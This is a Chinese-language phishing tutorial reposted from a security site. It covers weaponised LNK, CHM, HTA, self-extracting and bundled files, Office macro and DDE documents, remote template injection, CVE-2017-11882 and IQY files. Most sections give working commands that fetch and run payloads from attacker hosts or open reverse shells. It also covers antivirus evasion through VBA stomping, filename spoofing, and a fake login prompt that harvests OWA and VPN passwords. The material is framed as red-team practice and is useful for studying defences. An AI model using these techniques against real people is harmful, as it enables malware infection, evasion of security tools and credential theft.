干货 | Office文档钓鱼的实战和免杀技巧

2021-12-13 14:33:42 浏览数 (1)

文章来源:FreeBuf企业安全

原文链接:https://mp.weixin.qq.com/s/OdCrUOsVAscqOjWaq2w8hQ

在大型企业边界安全做的越来越好的情况下,不管是APT攻击还是红蓝对抗演练,钓鱼和水坑攻击被越来越多地应用。

钓鱼往往需要免杀技术的支撑,但本章只讲述钓鱼和些许免杀技术,免杀系列学习在后续讲解。

一、钓鱼小技巧

1.1 LNK 快捷方式

lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令。

cs演示:

得到

代码语言:javascript复制
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.2.158:80/a'))"

然后新建快捷方式,将上述语句填入

下一步,然后自己命名一下,点击完成。

当受害者双击之后就会自动执行我们的恶意payload,从目标网站下载并执行。

最终被得到 shell。

也可以使用msiexec.exe,系统进程,是Windows Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。

代码语言:javascript复制
msfvenom-pwindows/meterpreter/reverse_tcplhost=vpsiplport=1234-fmsi>shell.txt
c:windowssystem32msiexec.exe/q/ihttp://xxx/shell.txt

1.2 文件名反转

RLO,即Right-to-Left Override,我们可以在⽂件名中插⼊此类unicode字符,来达到⽂件名反转的效果。

cmd.exe来举例,

将其重命名为cmdgpj.exe,然后在 cmd 与 g 之间右键,看图操作

ok,此时已经变成了 以 jpg 结尾的了。但是双击运行还是 exe 格式运行的。

再利用ResourceHacker修改图标。

找个小姐姐图片转换为 ico 格式。

代码语言:javascript复制
http://www.bitbug.net/

如图,双击实际上还是运行的cmd。

1.3 HTA

HTA是HTML Application的缩写,直接将HTML保存成HTA的格式,是一个独立的应用软件,本身就是html应用程序,双击就能运行,却比普通网页权限大得多,它具有桌面程序的所有权限。

制作:利用 cs

attacks——>packages——>HTML application

选择powershell 生成。

1.4 CHM

CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。

制作CHM需要用到一个工具 EasyCHM(http://www.etextwizard.com/)

CHM制作过程:创建一个文件夹(名字随意),在文件夹里面再创建两个文件夹(名字随意)和一个index.html文件,在两个文件夹内部创建各创建一个index.html文件。

将下列代码放入index.html:

代码语言:javascript复制
<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECTid=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"width=1height=1>
<PARAMname="Command"value="ShortCut">
<PARAMname="Button"value="Bitmap::shortcut">
<PARAMname="Item1"value=',calc.exe'>
<PARAMname="Item2"value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

打开EasyCHM工具

后点击新建然后导入自己创建的文件夹,点击确定后再点击编译,在弹出的对话框中点击生成CHM按钮,会你生成一个CHM文件。

点击之后就会弹出calc.exe

当然我们也可以换成其他的,比如说 powershell payload。直接上线。

1.5 自解压

直接上操作。

flash安装软件 cs生成的后门来演示。

选中需要压缩的软件,右键添加到压缩软件

点击创建自解压格式压缩文件

点击 高级-→ 自解压选项

填入解压路径, 绝对路劲,(C:WindowsTemp 文件夹windows电脑都有)

点击设置--------提取后运行

点击模式,静默模式, 全部隐藏

点击更新,设置

代码语言:javascript复制
更新方式----解压并更新文件覆盖方式----覆盖所有文件

确定,出去可以文件名改的像一点。

最后点击确定。生成自解压文件,

图标有点不太对劲,使用 Restorator 把flash图标抠下来,在弄到生成的自解压文件。

具体操作就不写了,直接看结果。

1.6 捆绑文件

K8免杀系统自带捆绑器加强版V2.0.EXE

超级文件捆绑器

生成,执行之后会执行cmd.exe一样的效果,但此时后门软件也被执行了。

二、Office钓鱼

WIN7 Office 2016 MSF CS

2.1 基础知识

宏是Office自带的一种高级脚本特性,通过VBA代码,可以在Office中去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。现在Office的宏功能已经默认是禁用。

Visual Basic for Applications(VBA)是Visual Basic的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化(OLE)任务的编程语言。主要能用来扩展Windows的应用程序功能,特别是Microsoft Office软件,也可说是一种应用程式视觉化的Basic 脚本。

常用的套路使对方开启宏,

文档是被保护状态,需要启用宏才能查看; 添加一张模糊的图片,提示需要启用宏才能查看高清图片; 提示要查看文档,按给出的一系列步骤操作; 贴一张某杀毒软件的Logo图片,暗示文档被安全软件保护。

推片来源 https://mp.weixin.qq.com/s/YKZ6yWWxOhn2KjTV5lDP7w

2.2 Word宏钓鱼

CS生成宏

打开Word文档,点击 “Word 选项 — 自定义功能区 — 开发者工具(勾选) — 确定” 。

编写主体内容后,点击 “开发工具 — Visual Basic”,双击 “ThisDocument” ,将原有内容全部清空,然后将宏payload全部粘贴进去,保存并关闭该 VBA 编辑器 。

另存为的Word类型务必要选”Word 97-2003 文档 (*.doc)”,即 doc 文件,保证低版本可以打开。之后关闭,再打开即可执行宏代码。

默认情况下,Office已经禁用所有宏,但仍会在打开Word文档的时候发出通知。

点击启用内容,CS即上线

MSF生成宏

代码语言:javascript复制
msfvenom -pwindows/meterpreter/reverse_tcp LHOST=192.168.2.148 LPORT=4444-fvba -ovba.txt

上线不稳定。

2.3 宏免杀

Evil Clippy

代码语言:javascript复制
https://github.com/outflanknl/EvilClippy/releases

windwos安装:

在Visual Studio开发者命令行窗口中输入下列命令:

代码语言:javascript复制
csc/reference:OpenMcdf.dll,System.IO.Compression.FileSystem.dll/out:EvilClippy.exe*.cs

运行成功,生成exe程序。

代码语言:javascript复制
Usage:eviloffice.exe[OPTIONS] filenameAuthor:StanHegtEmail:stan@outflank.nlOptions:-n,--name=VALUEThetargetmodulenametostomp.Thisargumentcanberepeated.-s,--sourcefile=VALUEFilecontainingsubstitutionVBAcode(fakecode).-g,--guihideHidecodefromVBAeditorGUI.--gg,--guiunhideUnhidecodefromVBAeditorGUI.-t,--targetversion=VALUETargetMSOfficeversionthepcodewillrunon.-w,--webserver=VALUEStartwebserveronspecifiedporttoservemalicioustemplate.-d,--delmetadataRemovemetadatastream(mayincludeyournameetc.).-r,--randomnamesSetrandommodulenames,confusessomeanalysttools.--rr,--resetmodulenamesUndothesetrandommodulenamesbymakingtheASCIImodulenamesintheDIRstreammatchtheirUnicodecounterparts-u,--unviewableVBAMakeVBAProjectunviewable/locked.--uu,--viewableVBAMakeVBAProjectviewable/unlocked.-v         Increasedebugmessageverbosity.-h,--help Showthismessageandexit.

没做任何处理之前,VT查杀 39/61

从GUI隐藏/取消隐藏宏VT查杀 37/60

在VBA GUI编辑器中隐藏所有宏模块(默认的“ ThisDocument”模块除外)。这是通过从项目流[MS-OVBA 2.3.1]中删除模块行来实现的。

代码语言:javascript复制
EvilClippy.exe -g macrofile.doc

撤消由hide选项(-g)完成的更改,以便我们可以在VBA IDE中调试宏。

代码语言:javascript复制
EvilClippy.exe -gg macrofile.doc

Stomp VBA(滥用P代码)VT 查杀 12/60 效果很好,过火绒

将来自文本文件fakecode.vba的虚假VBA代码放在所有模块中,同时保持P代码不变。这滥用了模块流[MS-OVBA 2.3.4.3]的未记录功能。请注意,VBA项目版本必须与主机程序匹配才能执行P代码

代码语言:javascript复制
EvilClippy.exe -s 1.vba macrofile.doc

参数说明:-s 参数是通过假的 vba 代码插入到模块中,用以混淆杀毒程序,这里我们需要写一个正常 无毒正常的 vba 脚本

注意:VBA重踏不适用于以Excel 97-2003工作簿(.xls)格式保存的文件

代码语言:javascript复制
Sub Hello()Dim XX=MsgBox("Hello VBS")

效果比较好,并且可以成功上线,

多参数混合使用:

代码语言:javascript复制
EvilClippy.exe-s1.vba-g-rhello.docVT查杀12/61

其余更多请看这里https://github.com/outflanknl/EvilClippy

其他免杀方法:

http://www.h0r2yc.com/2019/08/01/office宏攻击及免杀/

https://skewwg.github.io/2020/12/05/diao-yu-yu-she-gong-xi-lie-zhi-office-hong/

2.4 远程模板注入宏代码

利用Word文档加载附加模板时的缺陷所发起的恶意请求,而达到的攻击目的,所以当目标用户点开攻击者发送的恶意Word文档就可以通过向远程服务器发送恶意请求的方式,然后加载模板执行恶意模板的宏。

发送的文档本身不带恶意代码,所以能过很多静态检测。只需要在远程DOTM文档中编写宏病毒或者木马即可。

思路:

编写一个带有宏代码的DOTM文档,上传服务器 编写一个能够远程连接的DOCX文档 将该文档压缩找到并更改settings.xml.rels文件中的内容,将其中的target内容修改为服务器上DOTM文档的URL 将DOCX解压后的内容再以存储模式压缩为ZIP 修改后缀名为DOCX,打开后即可实现远程注入宏文档

按照上述Word宏钓鱼方法制作,保存时保存类型为 dotm , fish.dotm,

开启Web服务,放在其目录下,

代码语言:javascript复制
http://192.168.2.148:8000/hello.doc

制作 docx

直接下载份简历

将下载的简历文件后缀 docx 改为 zip,解压.

将 target 内容改为[http://192.168.2.148:8000/hello.doc](http://192.168.2.148:8000/hello.doc),之后

全选目录所有文件,邮件压缩问 yanmie.zip。

之后再把zip 后缀改为 docx即可。

靶机打开,启用宏,可上线。

2.5 CVE-2017-11882

适用于:

代码语言:javascript复制
MicrosoftOffice 2000MicrosoftOffice 2003MicrosoftOffice 2007 Service Pack 3MicrosoftOffice 2010 Service Pack 2MicrosoftOffice 2013 Service Pack 1MicrosoftOffice 2016MicrosoftOffice 365

Microsoft Office Word 的一个执行任意代码的方法,可以在不启用宏的情况下执行任意程序。

这个功能的本意是为了更方便地在 word 里同步更新其它应用的内容,比如说在一个 word 文档里引用了另一个 excel 表格里的某项内容,通过连接域 (Field) 的方式可以实现在 excel 里更新内容后 word 中同步更新的效果,问题出在这个域的内容可以是一个公式 (或者说表达式),这个公式并不限制内容。

GitHub:

代码语言:javascript复制
https://github.com/Ridter/CVE-2017-11882

使用:

代码语言:javascript复制
python Command109b_CVE-2017-11882.py -c"cmd.exe /c calc.exe"-otest.doc

生成 test.doc 文档,靶机打开。成功弹出加算器

msf 复现。

项目

代码语言:javascript复制
https://github.com/0x09AL/CVE-2017-11882-metasploit
代码语言:javascript复制
exploit/windows/fileformat/office_ms17_11882

有点不稳,老是上线不了

配合 HTA上线

代码语言:javascript复制
exploit/windows/misc/hta_server
http://192.168.2.148:8080/IbsbCdtZ.ht

靶机打开test2.doc直接上线

2.5 word 中插入外部对象(OLE)方式欺骗

改变题注,更加逼真

双击,选择确定,即可上线。

2.6 构造DDE钓鱼文档

创建一个文档 dde.docx ,之后双击打开 dde.docx,直接Ctrl f9快捷键便可以快速帮助创建一个域,我们则只需要在花括号中添加如下指令(弹出一个计算器),实战过程中可以远程加载我们的木马。

代码语言:javascript复制
DDEAUTOc:\windows\system32\cmd.exe"/k calc.exe"

成功弹出计算器。

这里用ps远程下载马。

输入

代码语言:javascript复制
DDEAUTO"C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://192.168.2.148:8000/beacon.ps1'); # ""Microsoft Document Security Add-On"
代码语言:javascript复制

点击是-→ 是-→确认 后即上线。

2.7 IQY特性钓鱼

利用nishang下的Out-WebQuery.ps1, 脚本生成包含恶意 payload url 的 iqy 文件。

可以将IYQ简单的理解成内置在excel中的一种特殊‘web浏览器’(不能加载脚本),通过IQY【即web查询】语句,可以直接将各类web上的列表数据轻松引入到当前的excel中,而正是因为这样,从而给了我们利用excel制作钓鱼邮件的机会,假如你要引入的web数据是入侵者事先准备好的一段payload iqy恶意代码,那结果就不言而喻了。

利用过程:

新建一个excel文件,找到”数据”→”自网站”→”地址”,填写要抓取数据的网站url,选中想抓取数据的表单

点击导入

点击确定,即可成功导入

接下来利用IYQ打开计算机来看看效果

在我们自己的服务器的网站目录下放一个payload.html文件,内容是IYQ代码

代码语言:javascript复制
=cmd|'/c calc.exe '!A0

接下来就是按照之前的方法,来拉取我们自己服务器上的payload文件

导入

点击是,即可弹出计算器

将文件保存,放在靶机打开

点击启用内容,继续点击是,即可弹出计算器。

其他方式

代码语言:javascript复制
regsv***
=cmd|'/c regsv*** /s /n /u /i:http://ip/D4zv0M.sct scrobj.dll '!A0
bitsadmin
=cmd|'/c bitsadmin /transfer e822 http://ip/iqy %APPDATA%e822.exe&%APPDATA%e822.exe&del %APPDATA%e822.exe '!A0
mshta
=cmd|'/c mshta http://ip/iqy.hta '!A0

接下来进行弹shell操作

用到的工具:

代码语言:javascript复制
nishang:https://github.com/samratashok/nishang/releases

先在kali准备好payload:

代码语言:javascript复制
exploit/multi/script/web_delivery

用nishang中提供好的Out-WebQuery脚本来生成iqy文件

iqy文件本身的内容很简单,只有一个包含恶意payload的url:http://192.168.2.148/msf.html,关键也就在这个 html,我们需要把 html 的内容换成加载我们上面准备好的 meterpreter payload 的 iqy 语句 :regsv* /s /n /u /i:http://192.168.2.148:8080/ZTPzcY6J5.sctscrobj.dll

然后利用nishang-masterClientOut-WebQuery.ps1,生成文件

代码语言:javascript复制
powershell-execbypass-Command"& {Import-Module ".Out-WebQuery.ps1";Out-WebQuery -URL http://192.168.2.148:8000/msf.html}"

命令成功执行后,会生成一个iqy文件

接下来,打开Web服务目录,创建msf.html,内容为刚刚msf生成的paylaod

代码语言:javascript复制
=cmd|'/c regsv*** /s /n /u /i:http://192.168.2.148:8080/ZTPzcY6J5.sct scrobj.dll '!A0

接下来就可以想办法把之前生成的iqy文件发送给受害者。

当受害者双击打开时,默认会用Excel打开,弹出警告,点击启用

因为前面的iqy文件是用cmd执行的,所以会继续询问是否启动另一个应用程序,CMD.EXE.

点击是,正常情况下监听的msf会生成一个会话。

借助IQY窃取目标用户密码

代码语言:javascript复制
powershell-execbypass-Command"& {Import-Module ".Out-WebQuery.ps1";Out-WebQuery -URL http://192.168.2.1}"
代码语言:javascript复制
powershell-execbypasscd.UtilityImport-Module.Start-CaptureServer.ps1Start-CaptureServer-AuthTypeBasic-IPAddress192.168..2.1-LogFilePathC:windowstemplog.txt# 注意此处的认证要选择基础认证,监听的 ip 和上面生成 iqy 文件中的 ip 一致,通常都是本机 i

之后把上一步生成的 IQY文件发给靶机,打开

此认证窗口会连续出现三次,相信三次里面总有一个能用的账号密码,因为目标可能也压根搞不清楚这是什么东西,以为是系统的账号密码,就随便输,其实我们主要还是想利用这种方式钓到可用的 owa 或者 v*n 账号密码

2.8 PPT 动作按钮特性构造 PPSX钓鱼

新型PPT钓鱼攻击分析

首先,创建一个普通的PPTX文件,随便填入一些内容,如下图:

这里要选择空白的那个,选择以后,在页面中拉出一个触发位置,之后会弹出动作设置的界面,选择鼠标悬停-→ 运行程序

msiexec.exe,系统进程,是Windows Installer的一部分,利用此进程来加载我们shellcode可以达到一定的规避作用。

2.9 超链接

在PDF、Office文档中内嵌一个跳转链接是很早期的钓鱼方式,通过文字信息的引导,让受害者点开页面,如果缺乏戒心,就可能会获取到受害者的账号、密码、银行卡、身份证等信息。

三、邮件钓鱼

邮件服务器相关环境搭建,邮件信息收集请见

https://www.freebuf.com/articles/web/260391.html

涵盖伪造(SRC假漏洞、简历、宏文档、合作利诱、技术交流、钓鱼网站、第三方平台)、伪造发件人、office 宏钓鱼、exe引诱。

四、flash钓鱼

选择域名:http://www.f1ash.cn/

源码:https://github.com/r00tSe7en/Fake-flash.cn

自解压或者捆绑 配合 xss .

详细步骤见 1.6 .

五、网站钓鱼

制作钓鱼网站,克隆网站

cs,msf都有这个功能

setoolkit

0 人点赞